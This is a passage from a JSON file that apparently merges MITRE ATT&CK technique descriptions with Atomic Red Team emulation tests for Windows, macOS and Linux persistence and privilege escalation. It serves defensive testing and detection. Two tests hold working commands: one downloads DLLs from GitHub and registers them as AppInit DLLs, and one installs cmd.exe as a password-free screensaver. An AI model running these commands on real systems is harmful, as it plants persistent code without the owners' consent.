M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", - "source_name": "enigma0x3 Fileless UAC Bypass" - }, - { - "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", - "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", - "source_name": "Fortinet Fareit" - }, - { - "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", - "source_name": "SANS UAC Bypass" - }, - { - "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", - "source_name": "enigma0x3 sdclt app paths" - }, - { - "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", - "source_name": "enigma0x3 sdclt bypass" - } - ], - "modified": "2020-02-05T20:08:32.863Z", - "name": "Bypass User Account Control", - "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1546.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", - "type": "attack-pattern", - "created": "2020-01-24T14:52:25.589Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.010", - "url": "https://attack.mitre.org/techniques/T1546/010" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://support.microsoft.com/en-us/kb/197571", - "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", - "source_name": "AppInit Registry" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/dn280412", - "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", - "source_name": "AppInit Secure Boot" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2020-11-10T18:29:31.076Z", - "name": "Event Triggered Execution: AppInit DLLs", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: Process Creation", - "Module: Module Load", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_system_requirements": [ - "Secure boot disabled on systems running Windows 8 and later" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1546.010" - }, - "atomic_tests": [ - { - "name": "Install AppInit Shim", - "auto_generated_guid": "a58d9386-3080-4242-ab5f-454c16503d18", - "description": "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "registry_file": { - "description": "Windows Registry File", - "type": "path", - "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg" - }, - "registry_cleanup_file": { - "description": "Windows Registry File", - "type": "path", - "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n", - "prereq_command": "if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file})) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"#{registry_file}\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"#{registry_cleanup_file}\"\n" - }, - { - "description": "DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n", - "prereq_command": "if ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n" - } - ], - "executor": { - "command": "reg.exe import #{registry_file}\n", - "cleanup_command": "reg.exe import #{registry_cleanup_file} >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1546.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Bartosz Jerzman" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", - "created": "2020-01-24T13:51:01.210Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.002", - "url": "https://attack.mitre.org/techniques/T1546/002" - }, - { - "source_name": "ESET Gazer Aug 2017", - "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017." - }, - { - "source_name": "Wikipedia Screensaver", - "url": "https://en.wikipedia.org/wiki/Screensaver", - "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", - "modified": "2022-04-20T16:58:48.140Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution: Screensaver", - "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "File: File Modification", - "File: File Creation", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1546.002" - }, - "atomic_tests": [ - { - "name": "Set Arbitrary Binary as Screensaver", - "auto_generated_guid": "281201e7-de41-4dc9-b73d-f288938cbb64", - "description": "This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_binary": { - "description": "Executable binary to use in place of screensaver for persistence", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - }, - "reboot": { - "description": "Set to non-zero value if you want the test to reboot the system so that changes take effect", - "type": "integer", - "default": 0 - } - }, - "executor": { - "command": "reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0\n", - "cleanup_command": "reg import %userprofile%\\backup.reg\ndel %userprofile%\\backup.reg\ndel %SystemRoot%\\System32\\evilscreensaver.scr\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1543.001": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Antonio Piazza, @antman1p" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", - "created": "2020-01-17T16:10:58.592Z", - "x_mitre_version": "1.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1543.001", - "url": "https://attack.mitre.org/techniques/T1543/001" - }, - { - "source_name": "AppleDocs Launch Agent Daemons", - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017." - }, - { - "source_name": "Sofacy Komplex Trojan", - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." - }, - { - "source_name": "OceanLotus for OS X", - "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017." - }, - { - "source_name": "OSX Keydnap malware", - "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." - }, - { - "source_name": "Methods of Mac Malware Persistence", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." - }, - { - "source_name": "OSX Malware Detection", - "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", - "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017." - }, - { - "source_name": "Antiquated Mac Malware", - "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017." - }, - { - "source_name": "OSX.Dok Malware", - "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ", - "modified": "2022-04-21T16:13:00.598Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Create or Modify System Process: Launch Agent", - "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Creation", - "File: File Modification", - "Service: Service Creation", - "Service: Service Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1543.001" - }, - "atomic_tests": [] - }, - "T1055.009": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", - "type": "attack-pattern", - "created": "2020-01-14T01:34:10.588Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.009", - "url": "https://attack.mitre.org/techniques/T1055/009" - }, - { - "url": "http://hick.org/code/skape/papers/needle.txt", - "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", - "source_name": "Uninformed Needle" - }, - { - "source_name": "GDS Linux Injection", - "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", - "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020." - }, - { - "source_name": "DD Man", - "url": "http://man7.org/linux/man-pages/man1/dd.1.html", - "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020." - } - ], - "modified": "2020-06-20T22:25:55.331Z", - "name": "Proc Memory", - "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1519": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ivan Sinyakov" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", - "type": "attack-pattern", - "created": "2019-09-19T14:07:11.734Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1519", - "url": "https://attack.mitre.org/techniques/T1519" - }, - { - "source_name": "xorrior emond Jan 2018", - "url": "https://www.xorrior.com/emond-persistence/", - "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019." - }, - { - "source_name": "magnusviri emond Apr 2016", - "url": "http://www.magnusviri.com/Mac/what-is-emond.html", - "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019." - }, - { - "source_name": "sentinelone macos persist Jun 2019", - "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", - "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019." - } - ], - "modified": "2020-01-24T15:15:44.006Z", - "name": "Emond", - "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1037.004": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", - "type": "attack-pattern", - "created": "2020-01-15T16:25:22.260Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.004", - "url": "https://attack.mitre.org/techniques/T1037/004" - }, - { - "source_name": "IranThreats Kittens Dec 2017", - "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/", - "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020." - }, - { - "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", - "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", - "source_name": "Intezer HiddenWasp Map 2019" - }, - { - "source_name": "intezer-kaiji-malware", - "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", - "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020." - }, - { - "source_name": "Apple Developer Doco Archive Launchd", - "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021." - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", - "source_name": "Startup Items" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - }, - { - "source_name": "Ubuntu Manpage systemd rc", - "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html", - "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021." - } - ], - "modified": "2021-04-27T19:58:01.927Z", - "name": "Boot or Logon Initialization Scripts: Rc.common", - "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive 